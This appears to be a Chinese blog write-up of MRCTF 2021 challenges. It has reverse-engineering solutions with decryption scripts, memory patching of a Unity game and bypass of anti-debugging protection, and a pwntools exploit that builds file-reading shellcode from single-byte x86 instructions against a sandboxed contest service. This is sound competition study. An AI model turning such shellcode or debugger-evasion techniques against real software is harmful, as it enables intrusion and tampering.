WJH's Blog
WJH's Blog

MRCTF PWN、RE Writeup

wjh wjh 收录于 Pwn  Reverse  CTF
  约 7000 字 预计阅读 14 分钟  - 次阅读   - 条评论  
警告
本文最后更新于 2021-04-15，文中内容可能已过时。

RE

Real_CHECKIN

图片

很标准的签到题，换表base64

图片

复制出base64表，用python编写解密脚本。

1
2
3
4
5
6

import base64
str1 = "tvjdvez7D0vSyZbnzv90mf9nuKnurL8YBZiXiseHFq=="
string1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))
#b'MRCTF{wElc0Me_t0_MRCTF_2o21!!!}'

Dynamic Debug

长度检测

图片

动态调试发现程序实际上限制了输入的flag长度为0x20，所以我们先伪造一串长度为32的字符串来绕过这个检测，这里用python生成了字符串为**‘a’ * 0x20**

图片

动态调试

重新运行程序，并输入正确长度的flag。

继续运行后执行到后续的函数位置，发现IDA 无法显示伪代码，猜测是相关代码被混淆了，导致IDA无法识别。

图片

我们手动单步到关键代码处。

在跳转多次后，我们成功来到了一处看似很像关键代码处的位置。

图片

伪代码修复

在这部分代码的头部按P键定义为函数，接着尝试查看伪代码，得到的伪代码没有变量识别，非常难看。

图片

于是我们尝试修复堆栈信息，让IDA能够识别出来变量。

图片

如图所示，我们可以尝试着在这部分之上使用Keypatch手动加入一个push rbp; mov rbp, rsp

让IDA能够识别出堆栈上的变量，紧接着再F5，就可以看到比较舒服的伪代码了。

图片

加密算法分析

通过循环执行了32次，并且在循环内部对一个变量反复增加delta常数(0x9E3779B9)，循环内部出现了TEA运算逻辑等特征，我们可以看出这部分内容实际上就是一个TEA加解密。在加密之后，把加密后的内容与储存在段上的数组内容进行比对，如果比对通过应该就可以通过验证，所以我们首先要提取出这部分的数组内容，这里通过LazyIDA插件导出DWORD数组数据。

图片

最后手写一个TEA解密，把这个数组的内容解密出来就可以成功得到flag信息了。

解密程序

在数组结尾加一个0可以让%s输出的时候好看一些

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

#include <cstdio>
void encrypt(unsigned int* v, const unsigned int* k)
{
	unsigned int v0 = v[0], v1 = v[1], sum = 0, i;
	unsigned int delta = 0x9E3779B9;
	unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	for (i = 0; i < 32; i++)
	{
		sum += delta;
		v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
	}
	v[0] = v0;
	v[1] = v1;
}
void decrypt(unsigned int* v, unsigned int* k)
{
	unsigned long v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
	unsigned long delta = 0x9e3779b9;
	unsigned long k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	for (i = 0; i < 32; i++)
	{
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}
int main()
{
	unsigned int v[] = {
		0x5585A199, 0x7E825D68, 0x944D0039, 0x71726943, 0x6A514306, 0x4B14AD00, 0x64D20D3F, 0x9F37DB15, 0
	};
	unsigned int k[4] = { 0x6B696C69, 0x79645F65, 0x696D616E, 0x67626463 };
	for (int i = 0; i < 8; i += 2) decrypt(v + i, k);
	printf("%s", v);
	return 0;
}

图片

EzGame

题目信息

个人来说最喜欢的一道题目，在比赛中也拿到了一血。

这是一个Unity制作的游戏（感觉是做过的比赛中遇到最能玩的一个游戏了）

图片

GetFlag的条件是要求完全所有的任务。

图片

而我们所有需要完成的任务有

图片

我们查看所有的任务发现似乎是要把游戏打通，但是在比赛中这种做题方法对于我这种手残党来说一定是不可取的（划掉）。

解题思路

所以我们可以考虑找到内存中这几个变量的地址，然后修改内存中这几个变量的值，来达到Cheat的目的。一般来说，Unity的程序由于是C#开发的缘故，我们可以直接用Dnspy反编译程序来分析即可，但是Unity程序为了防止大量的外挂和盗版游戏，推出了一种il2cpp的操作，根据我的理解就是让C#的中间代码IL转换成C++来编译，最后生成汇编程序使得我们的反编译难度大大增加，不过幸亏在网上有大量这有关的资料和现成的程序，其中我认为非常有用的一个就是https://github.com/Perfare/Il2CppDumper/

我们利用这里的程序可以解析出一些函数的信息和静态变量地址偏移，这些信息对于我们后续分析有大量的帮助。

Il2CppDumper

这里打开Il2CppDumper.exe程序依次选择GameAssembly.dll文件和global-metadata.dat文件，发现很幸运的可以直接解析程序

图片

接着我们可以在目录下找到几个文件，根据程序作者来说是用于IDA恢复符号信息用的，但是由于这道题加上了TMD壳，所以这对于我们不脱壳来分析是没啥用的。

我们用Dnspy打开DummyDll目录下的Assembly-CSharp.dll，来观察符号信息

图片

可以发现这里存在我们需要修改的任务信息，但是由于这些信息都是放在一个class里面的变量，我们无法直接确定地址信息，所以我们需要先定位到这些变量的位置，这里我想到的是用CE来搜索这些变量中的某一个，然后利用这个变量来定位到其他变量和这个对象。

使用CE定位对象

图片

这里我就来搜索tokenGet这个变量，这个变量储存的就是我们吃了几个这个钻石。

图片

经过几次数量变动之后，我确定了一个地址

图片

使用CE的结构分析功能，并手动输入在Dnspy中分析得到的结构信息。

图片

Cheating

修改对应的值来完成任务

图片

进入游戏查看进度

图片

尝试GetFlag却被提示cheating

图片

重新思考

这意味着一定在哪一步中存在着检测，于是我们尝试寻找是哪里出现了问题，在游戏的过程中发现在得到钻石的时候key的值会发现变化。

于是我猜测key的值应该是得到一个钻石会运算一次，这样运算105次最终得到最后的key信息才能解密flag，所以我们应该要分析得到程序运算key的方式，这样就可以还原出正确的key信息

调试游戏

由于程序使用了TMD壳进行反调试和防静态分析，所以我们需要对CE进行一些设置。

图片

在这里设置使用VEH调试器

接着上面的部分，我们把key的地址加入到分析框处，并且右键“找出是什么改写了这个地址”（F6）

图片

接着回到游戏来吃一个钻石，触发改写地址。

就可以找到对应的修改位置

图片

图片

发现上部分确实存在对key字节的一些移位操作，但是我对汇编代码的分析能力有限，所以这里想看伪代码，这里利用到了一些绕过壳的小技巧。

Dump程序 & IDA分析伪代码

使用火绒剑来对这块内存进行转储

图片

再把转储的内容拖入IDA中进行分析，但是由于IDA分析的地址与调试中的不一致，我们这里直接搜索这个函数头部的字节码信息。（记得勾选Find all occurrences）

图片

定位到函数的头部信息

图片

找到对应代码后，双击进入查看，IDA没有识别出这个函数的信息，我们要按C手动转换数据为代码，再按P转换为函数，接着按F5观察伪代码

图片

这一块实际上就是操作key的逻辑，我们整理后编写代码，其中0xDEADBEEFAA114514是key的初始值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#include <cstdio>
#include "defs.h"
void calc(__int64* key)
{
    for (int i = 0; i < 4; i++)
    {
        __int64 k = 1, l = 0;
        for (__int64 j = 0; j < 64; j++)
        {      
            l ^= (unsigned __int64)(k & *key) >> (j & 0x3F);
            k = __ROL8__(k, 1);
        }
        *key = l | (2 * *key);
    }
}

int main()
{
    __int64 key = 0xDEADBEEFAA114514;
    for (int i = 0; i < 105; i++)
        calc(&key);
    printf("0x%llX", key);
    return 0;
}

Get Flag

运行程序后后得到0xEA8451453BD5B7DD，我们再用CE将游戏中的key修改即可得到flag。

图片

MR_CheckIN

一道安卓题目，出题人很贴心的给了x86的so文件，使得可以让调试器也能做这题。直接拖入JEB进行分析

图片

程序逻辑分析

第一部分

观察程序逻辑，首先程序要求用户名为MRCTF，接着对密码进行检测，要求密码以MRCTF{开头和}结尾，并且在这之间的内容分为两部分进行检测，第一部分是进行了一个md5加密。

图片

我们只需要对md5字符进行查询即可

图片

第二部分

第二部分的检测看似很简单

图片

但实际上随机数种子在开始执行的时

图片

jni.test()中被偷偷替换了，而这个函数指向的是so中的native函数。所以我这里采用动态调试分析来得到xor异或数组的内容。

最后编写程序来解密flag，由于刚开始编写代码的时候用的是java，所以最后也懒得换了，用的也是java。

解题代码 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

public class Main {
    public static void main(String[] args) {
        Byte[] xorkey = {49, 49, 49, 50, 53, 52, 55, 48, 54, 48, 53, 48, 48, 52, 48, 48, 48, 53, 50, 48, 49, 48, 48, 48, 48};
        int[] v0 = new int[]{110, 82, 89, 87, 86, 0x5F, 6, 94, 105, 71, 80, 92, 83, 4, 93, 85, 0x6F, 65, 93, 0x6F, 0x7C, 98, 0x73, 100, 0x76};
        StringBuilder s = new StringBuilder();
        for (int i = 0; i < xorkey.length; i++)
        {
            byte x = xorkey[i];
            s.append((char) (x ^ v0[i]));
        }
        System.out.println(s);
    }
}

程序输出了_check1n_welc0me_to_MRCTF，我们和之前得到的进行合并，得到flag MRCTF{Andr01d_check1n_welc0me_to_MRCTF}

MR_Register

这道题蛮有意思的，所以这里会写的详细一些。

程序是一个典型的双进程保护（Debug Blocker）

双进程保护，实际上是程序本身作为一个进程或一个调试器，并且在调试模式下运行自身程序。所以这种保护通常就会存在两个进程。 这种程序的技术特点是 1.无法被调试，因为程序本身也是一个调试器。我们又知道一般情况下一个程序只能被一个调试器所调试，如果他的程序先抢占作为了调试器，那么就无法进行调试。所以解决办法只能是在他的调试器附加之前你先开始调试。 2.一般来说，为了防止你直接抢占调试来绕过，他还会加一个异常处理函数，程序中原本存在一些不合理的代码或者INT3断点，当他的调试器处理的时候会去做一些指定的流程，而你作为调试者，在调试过程中就无法处理那些代码。

调试器代码逻辑

根据上面所说的我们首先应该找到他的调试器代码，并手动还原代码图片

我们顺着调试器逻辑找下去，可以很轻松的找到调试器逻辑相关的代码

图片

我们可以注意到一处在调试器代码中用于解密的代码，这个异或操作使得我们的静态分析出现问题，我们在这里可以尝试使用IDAPython来还原这部分的异或代码。

1
2
3
4
5
6
7
8

import idc
def XorBytes(start, length):
    for i in range(length):
        byte_value = ord(idc.get_bytes(start + i, 1)[0])
        print i, hex(byte_value)
        byte_value = byte_value ^ i
        idc.patch_byte(start + i, byte_value)
XorBytes(0x0000000000401E1F, 0x57D)

主程序代码逻辑

还原后，我们就可以得到一份比较舒服的伪代码。

图片

伪代码虽然有些地方分析的有些问题，但是大致逻辑是正确的。

大致逻辑

1.输入邮箱地址和验证代码

图片

2.把编码后的邮箱地址作为xor数据来异或两次编码后的验证代码，并储存在temp目录下的sign文件中。

储存前的异或：

图片

取出时的异或：

图片

因为异或的内容是编码后的邮箱，而且经过两次的异或，邮箱的变量已经消去了，邮箱的信息为什么都不影响到最后的结果。

于是我们只需要考虑的是如何解密两次编码后的验证代码即可。

3.取出sign文件的内容，异或编码后的邮箱地址，并对验证代码进行比对，查看与程序中储存的是否一致。

图片

其中编码后的邮箱和异或后的代码用横杠进行分割。

编码操作

第一次编码

图片

实际上就是把当前编码的值与前面两个的值相加（如果当前编码的是前两项则不考虑），并且用%x#的格式输出。

第二次编码

图片

这个类似于base编码，但是我发现这个实际上可以直接爆破，因为每次只有一个encode1_data[i]来进行运算，所以我这里为了省力，对其直接进行了爆破。

异或编码

图片

根据上面所说的，这里的异或加密并不是重点。

数据块解密

这部分内容实际上应该放在调试器代码逻辑中的，但为了更好的模拟做题过程，我放在了这里，实际上在做题过程中，我分析到这里之后卡了很长时间，因为根据我的理解，这部分内容进行加密之后进行对比的信息（dword_405020）应该是%x#的格式，但实际上并不是。

在我研究之后发现，实际上是我漏看了一部分的调试器代码逻辑

图片

这个函数无法直接查看伪代码，需要手动在这里把这块地方定义为函数即可查看

图片

在调试器逻辑的这一部分中存在对dword_405020的异或解密。

图片

我们可以简单的编写解密代码，不过注意要考虑到隐含的类型转换。

解题代码 

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193

#include <cstdio>
#include <cstring>
#include "defs.h"
int dword_405020[376] = {
    0x0000001D, 0x0000006E, 0x0000004E, 0x0000003F, 0x00000039, 0x0000003A, 0x00000028, 0x00000029,
    0x00000017, 0x00000014, 0x00000037, 0x00000046, 0x00000043, 0x00000030, 0x00000011, 0x00000012,
    0x0000002D, 0x0000002E, 0x00000002, 0x0000000C, 0x00000030, 0x00000031, 0x00000032, 0x0000003E,
    0x00000025, 0x00000026, 0x00000005, 0x00000076, 0x0000005E, 0x0000002D, 0x0000000F, 0x0000000C,
    0x0000001D, 0x0000001E, 0x0000003F, 0x0000004C, 0x00000066, 0x00000015, 0x00000038, 0x0000003B,
    0x00000015, 0x00000016, 0x00000006, 0x00000075, 0x0000006F, 0x0000001C, 0x00000003, 0x00000000,
    0x0000000D, 0x0000007C, 0x0000007F, 0x00000003, 0x00000010, 0x0000006C, 0x0000007A, 0x0000000B,
    0x00000005, 0x00000006, 0x0000002A, 0x0000002B, 0x00000021, 0x00000052, 0x0000007D, 0x0000000E,
    0x00000050, 0x00000053, 0x0000007F, 0x0000007C, 0x0000005B, 0x0000005A, 0x00000056, 0x00000058,
    0x0000006C, 0x00000010, 0x00000006, 0x00000077, 0x00000071, 0x00000072, 0x00000050, 0x00000051,
    0x0000007D, 0x0000000E, 0x00000011, 0x00000062, 0x00000078, 0x0000007B, 0x0000006B, 0x00000068,
    0x00000076, 0x00000078, 0x0000007E, 0x00000070, 0x00000071, 0x00000070, 0x00000043, 0x00000040,
    0x0000005D, 0x00000051, 0x00000046, 0x0000003A, 0x00000005, 0x00000079, 0x00000042, 0x0000004C,
    0x00000079, 0x0000007A, 0x00000057, 0x00000026, 0x00000023, 0x0000005F, 0x0000004A, 0x00000044,
    0x0000006D, 0x0000006C, 0x0000006C, 0x0000006F, 0x00000049, 0x0000004A, 0x00000066, 0x00000067,
    0x00000054, 0x0000005A, 0x0000005E, 0x00000050, 0x00000063, 0x00000062, 0x00000052, 0x00000051,
    0x000000BD, 0x000000BE, 0x0000009D, 0x0000009C, 0x000000A9, 0x000000A8, 0x00000097, 0x00000099,
    0x000000AD, 0x000000D1, 0x000000C6, 0x000000B7, 0x000000B1, 0x000000B2, 0x00000090, 0x000000E3,
    0x000000DC, 0x000000A0, 0x000000B7, 0x000000B9, 0x0000008B, 0x0000008A, 0x000000BB, 0x000000B8,
    0x000000A5, 0x000000A6, 0x000000B7, 0x000000B6, 0x00000082, 0x000000F1, 0x000000DD, 0x000000AE,
    0x000000BE, 0x000000B0, 0x00000086, 0x0000008A, 0x00000099, 0x000000E8, 0x000000E5, 0x00000096,
    0x000000B8, 0x000000B9, 0x000000B4, 0x000000C7, 0x000000E1, 0x00000092, 0x00000080, 0x00000083,
    0x0000008D, 0x0000008E, 0x000000A2, 0x000000A3, 0x000000A5, 0x000000A4, 0x000000AB, 0x000000D8,
    0x000000F7, 0x00000084, 0x00000094, 0x000000E7, 0x000000F1, 0x00000080, 0x00000083, 0x00000080,
    0x000000D0, 0x000000A3, 0x00000081, 0x000000F2, 0x000000E9, 0x000000E8, 0x000000D9, 0x000000D8,
    0x000000E6, 0x000000E7, 0x000000D5, 0x000000D6, 0x000000F1, 0x000000F2, 0x000000D1, 0x000000A2,
    0x00000093, 0x00000092, 0x00000090, 0x000000E3, 0x000000C4, 0x000000C5, 0x000000C9, 0x000000C8,
    0x000000C7, 0x000000C4, 0x000000E7, 0x000000E4, 0x000000C1, 0x000000C0, 0x000000F0, 0x000000F1,
    0x000000F0, 0x000000F1, 0x000000FC, 0x0000008F, 0x000000A6, 0x000000D5, 0x000000F8, 0x000000FB,
    0x000000D5, 0x000000D6, 0x000000C7, 0x000000B4, 0x0000008D, 0x0000008C, 0x000000A3, 0x000000D0,
    0x000000DE, 0x000000DF, 0x000000EC, 0x000000ED, 0x000000E9, 0x000000EA, 0x000000CB, 0x000000BA,
    0x000000BA, 0x000000C9, 0x000000E7, 0x00000094, 0x000000B0, 0x000000CC, 0x000000DB, 0x000000D5,
    0x0000002E, 0x0000002F, 0x0000002C, 0x0000002F, 0x00000039, 0x0000003A, 0x00000016, 0x00000017,
    0x00000017, 0x00000016, 0x00000017, 0x00000019, 0x00000029, 0x00000055, 0x00000041, 0x00000040,
    0x00000052, 0x0000002E, 0x00000037, 0x0000003B, 0x00000029, 0x0000002A, 0x00000006, 0x00000075,
    0x00000054, 0x00000028, 0x0000003F, 0x00000031, 0x00000030, 0x0000003E, 0x0000003A, 0x00000034,
    0x0000000D, 0x0000007E, 0x0000006E, 0x0000001F, 0x00000019, 0x0000001A, 0x00000039, 0x0000004A,
    0x00000049, 0x00000048, 0x00000065, 0x00000016, 0x0000003C, 0x0000003D, 0x00000002, 0x0000000C,
    0x00000015, 0x00000069, 0x0000007E, 0x0000000F, 0x00000009, 0x0000000A, 0x0000002B, 0x00000058,
    0x00000074, 0x00000007, 0x00000016, 0x00000018, 0x00000019, 0x00000017, 0x0000002F, 0x0000002E,
    0x0000006D, 0x0000001E, 0x00000000, 0x00000071, 0x00000079, 0x0000007A, 0x0000006A, 0x00000019,
    0x00000004, 0x00000077, 0x00000064, 0x00000017, 0x0000000F, 0x00000073, 0x0000006A, 0x00000064,
    0x0000004D, 0x0000004C, 0x00000042, 0x00000041, 0x00000069, 0x00000018, 0x0000001B, 0x0000001A,
    0x0000001B, 0x0000001A, 0x00000016, 0x00000065, 0x00000042, 0x0000004C, 0x0000007A, 0x00000006,
    0x0000002D, 0x0000002C, 0x0000002E, 0x0000005F, 0x00000059, 0x0000005A, 0x00000076, 0x00000077,
    0x00000075, 0x0000007B, 0x0000004E, 0x00000040, 0x00000073, 0x00000000, 0x00000021, 0x00000052,
    0x00000060, 0x0000006E, 0x00000056, 0x0000002A, 0x00000036, 0x00000047, 0x0000004B, 0x00000078
};
// positive sp value has been detected, the output may be wrong!
void __fastcall encode(const char* code, const char* email)
{
    unsigned int v3; // ebx
    size_t v4; // rax
    unsigned int v5; // ebx
    size_t v6; // rax
    __int64 v7; // rcx
    char v9[4]; // [rsp+3Ch] [rbp-44h]
    char v10[96]; // [rsp+40h] [rbp-40h] BYREF
    char encode2_code[5002]; // [rsp+A0h] [rbp+20h] BYREF
    char Destination[2500]; // [rsp+1430h] [rbp+13B0h] BYREF
    char encode1_code[2500]; // [rsp+1E00h] [rbp+1D80h] BYREF
    int v22[1000]; // [rsp+27D0h] [rbp+2750h] BYREF
    char encode_email[1000]; // [rsp+3770h] [rbp+36F0h] BYREF
    unsigned __int8 v26; // [rsp+3B61h] [rbp+3AE1h]
    unsigned __int8 v27; // [rsp+3B62h] [rbp+3AE2h]
    unsigned __int8 v28; // [rsp+3B63h] [rbp+3AE3h]
    int v29; // [rsp+3B64h] [rbp+3AE4h]
    int v30; // [rsp+3B68h] [rbp+3AE8h]
    int v31; // [rsp+3B6Ch] [rbp+3AECh]
    int v32; // [rsp+3B70h] [rbp+3AF0h]
    int v33; // [rsp+3B74h] [rbp+3AF4h]
    int v34; // [rsp+3B78h] [rbp+3AF8h]
    int i; // [rsp+3B7Ch] [rbp+3AFCh]
    char v36[8]; // [rsp+3B80h] [rbp+3B00h] BYREF
    i = 0;
    v34 = 0;
    v33 = 0;
    v32 = 0;
    v31 = 0;
    v30 = 0;
    v29 = 0;
    memset(encode_email, 0, sizeof(encode_email));
    memset(v22, 0, sizeof(v22));
    memset(encode1_code, 0, sizeof(encode1_code));
    memset(Destination, 0, sizeof(Destination));
    memset(encode2_code, 0, sizeof(encode2_code));
    memset(v10, 0, 0x50ui64);
    v10[80] = 0;
    *(_DWORD*)v9 = 0x6040200;
    v33 = strlen(code);
    v32 = strlen(email);
    strcpy(v10, "ABCDEFGH");
    strcpy(&v10[9], "12345678");
    strcpy(&v10[18], "0IJKLMNO");
    strcpy(&v10[27], "+OPQRStu");
    strcpy(&v10[36], "\\vwxyzTU");
    strcpy(&v10[45], "abcdefgh");
    strcpy(&v10[54], "VWXYZijk");
    strcpy(&v10[63], "lmnopqrs");
    for (i = 0; i < v32; ++i)
    {
        v28 = (email[i] >> 6) & 1 ^ v9[i % 4];
        v27 = (email[i] >> 3) & 7;
        v26 = email[i] & 7;
        encode_email[v34] = v10[9 * v28 + v27];
        encode_email[v34 + 1] = v10[9 * v27 + v26];
        v34 += 2;
    }
    v22[0] = *code;
    v22[1] = code[1];
    sprintf(encode1_code, "%x#", (unsigned int)v22[0]);
    v3 = v22[1];
    v4 = strlen(encode1_code);
    sprintf(&encode1_code[v4], "%x#", v3);
    for (i = 2; i < v33; ++i)
    {
        v22[i] = v22[i - 2] + v22[i - 1] + code[i];
        v5 = v22[i];
        v6 = strlen(encode1_code);
        sprintf(&encode1_code[v6], "%x#", v5);
    }
    v31 = strlen(encode1_code);
    v34 = 0;
    for (i = 0; i < v31; ++i)
    {
        v28 = (encode1_code[i] >> 6) & 1;
        v27 = (encode1_code[i] >> 3) & 7;
        v26 = encode1_code[i] & 7;
        encode2_code[v34] = v10[9 * v28 + v27];
        encode2_code[v34 + 1] = v10[9 * v27 + v26];
        v34 += 2;
    }
    v29 = strlen(encode2_code);
    v30 = strlen(encode_email);
    strcpy(Destination, encode_email);
    *(_WORD*)&Destination[strlen(Destination)] = '-';
    for (i = 1; i <= v29; ++i)
        Destination[i + v30] = encode2_code[i - 1] ^ encode_email[(i - 1) % v30];
    v6 = 0;
    for (i = v30 + 1; i <= v29 + v30; ++i)
    {
        Destination[i] ^= Destination[v6 % v30];
        ++v6;
    }
    return;
}

void solve()
{
    char v10[96];
    unsigned __int8 v26; // [rsp+3B61h] [rbp+3AE1h]
    unsigned __int8 v27; // [rsp+3B62h] [rbp+3AE2h]
    unsigned __int8 v28; // [rsp+3B63h] [rbp+3AE3h]
    for (int i = 374; i >= 0; --i)
    {
        dword_405020[i] = (char)dword_405020[i] ^ (char)dword_405020[i + 1] ^ (char)i;
    }
    dword_405020[375] = 0x78;
    strcpy(v10, "ABCDEFGH");
    strcpy(&v10[9], "12345678");
    strcpy(&v10[18], "0IJKLMNO");
    strcpy(&v10[27], "+OPQRStu");
    strcpy(&v10[36], "\\vwxyzTU");
    strcpy(&v10[45], "abcdefgh");
    strcpy(&v10[54], "VWXYZijk");
    strcpy(&v10[63], "lmnopqrs");
    char ans[500] = { 0 };
    for (int i = 0; i <= 374; i += 2)
    {
        for (int x = 0; x < 255; x++)
        {
            v28 = (x >> 6) & 1;
            v27 = (x >> 3) & 7;
            v26 = x & 7;
            if (dword_405020[i] == v10[9 * v28 + v27] && dword_405020[i + 1] == v10[9 * v27 + v26])
            {
                ans[i / 2] = x;
                break;
            }
        }
    }
    printf("%s", ans);
    return;
}
int main()
{
    solve();
    return 0;
}

以上程序执行后可以得到%x#格式的序列，我们再用python进行解密还原

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

key = "4d#52#e2#188#2b0#4b3#7a6#c8d#14a1#218d#36a7#5864#8f80#e843#17827#2609d#3d926#63a38#a13c5#104e5c#1a6252#2ab122#4513b3#6fc534#b4d955#1249eb9#1d9786d#2fe179d#4d7906b#7d5a841#cad38cd#1482e18b#"
key = key[:-1]
sum = 0
list = key.split('#')
ans = []
for i in range(len(list)):
    ans.append(int(list[i], 16))
flag = ""
for i in range(len(ans)):
    if i <= 1:
        sum = 0
    else:
        sum = ans[i - 1] + ans[i - 2]
    flag += chr(ans[i] - sum)
print(flag) #MRCTF{C4n_y0u_d3bug_1t?_n0_wa9!}

PWN

比赛中遇到了很多其他事情，导致PWN部分都没怎么看，只做了一道题，赛后有时间我再复现一下

8bit adventure

题目分析

这道题我觉得质量很高，很有意思的一道题目

整体逻辑就是这样，在运行时候会用mmap申请一块可执行的内存，并且memset填充成0x90（NOP）

图片

同时沙箱限制了无法使用execve，我们只能考虑使用orw。

图片

图片

题目的大致意思就是，使用单字节的指令（除了int 0x80）来执行shellcode来操作出实现orw。并且关闭了输入流，使得我们无法使用shellcode读入一段新的shellcode来执行这种非预期。

可用的汇编指令

指令的翻译我使用的是https://github.com/wjhwjhn/DisAsmVS这个项目，如果喜欢的话可以点个Star。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

for (int x = 0; x < 5; x++)
{
	for (int i = 0; i <= 0xFF; i++)
	{
		char s[10] = {0};
		s[0] = i;
		memset(s + 1, 0x90, x);
		t_disasm tt = { 0 };
		l = Disasm(s, 1 + x, 0xf7ddd000, &tt, 3);
		if (strcmp(tt.result, "???"))
		{
			for (int j = 0; j < x + 1; j++)
				printf("%02X", s[j]);
			printf(": %s\n", tt.result);
		}
	}
}

图片

实际上，大部分对寄存器的操作我们都有，并且我们可以借助原有的NOP指令来构造出像

图片

ADD AL, 90h这样的指令，不过这道题由于对长度限制很宽泛，所以这样的技巧实际上无关紧要。

构造OPEN

首先open的第一个参数就是要输入一个内存上的地址，并且这个地址保存的内容是flag。

这里使用MOVS 和 STOS都能够实现这个操作，我这里使用的是STOS，实际上这个指令所干的事情就是把eax的内容赋值给[edi]，并且让edi + 1这样我们就实现了从寄存器地址到内存的转换。

我代码是在shellcode的一块已用的区域写入flag\x00字符串（注意需要写入\x00，否则字符串读出不正确）

OPEN参数对应的寄存器信息

1
2
3
4
5

sys_open(const char __user *filename, int flags, int mode)
EAX = 5
filename->EBX
flags->ECX
mode->EDX

构造READ

实际上难点就在构造OPEN上，构造READ的时候需要注意，由于之前代码中的close(0)，所以上面open打开的fd实际上是0，我们需要使用0来当做fd，实际上我们也可以直接利用shellcode来push eax;pop ebx。

READ参数对应的寄存器信息

1
2
3
4
5

sys_read(unsigned int fd, char __user * buf, size_t count)
EAX = 3
fd->EBX
buf->ECX
count->EDX

构造WRITE

这一部分是最省力的，因为只需要修改fd的值即可，其他信息和READ中的一致

WRITE参数对应的寄存器信息

1
2
3
4
5

sys_write(unsigned int fd, const char __user *buf, size_t count)
EAX = 4
fd->EBX
buf->ECX
count->EDX

EXP 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

from pwn import *
context.log_level = "debug"
#r = process('./8bit_adventure')
r = remote('node.mrctf.fun', 10301)
inc_eax = '\x40'
inc_ebx = '\x43'
inc_edx = '\x42'
inc_edi = '\x47'
inc_ecx = '\x41'
dec_eax = '\x48'
dec_ebx = '\x4B'
dec_edi = '\x4F'
pop_eax = '\x58'
pop_ecx = '\x59'
pop_edx = '\x5A'
pop_ebx = '\x5B'
pop_edi = '\x5F'
int80 = '\xCD'
push_edi = '\x57'
push_ebx = '\x53'
push_eax = '\x50'
push_edx = '\x52'
stos_edi = '\xAA'
add_al_90 = '\x04' #\x04\x90
payload = push_eax + pop_edi + push_ebx
payload += pop_eax + inc_edi * 4 + stos_edi + dec_edi * 5 # \x00
payload += add_al_90 + dec_eax * (0x90 - 0x66) + stos_edi # f
payload += inc_eax * (0x6C - 0x66) + stos_edi # l
payload += dec_eax * (0x6C - 0x61) + stos_edi # a
payload += inc_eax * (0x67 - 0x61) + stos_edi # g
payload += push_edi + pop_ebx + dec_ebx * 4 + dec_eax * (0x67 - 0x5) + push_edx + pop_ecx + int80 #sys_open
payload += push_ebx + pop_ecx + push_eax + pop_ebx + inc_eax * 3 + inc_edx * 0x40 + int80 #sys_open
payload += push_ebx + pop_eax + inc_eax * 4 + inc_ebx * 1 + int80 #sys_write
#gdb.attach(r, "b *" + hex(0xf7ddd000 + (len(payload) - 1) * 0x20))
r.sendlineafter("Give me your code", payload)
r.interactive()

总结

就我所做的方向而言，题目质量非常高，能够感受到出题人是花了很多时间去琢磨和完善的。也能够体会到题目非常的具有技术含量（难），但是打比赛不就是为了学习嘛，我个人来说是更喜欢难一些的题目的，通过打比赛来学习到更多的知识。非常希望明年还能够参加MRCTF 2022，祝MRCTF越办越好，战队实力也越来越强！

更新于 2021-04-15 
CC BY-NC-SA 4.0
返回 | 主页
0%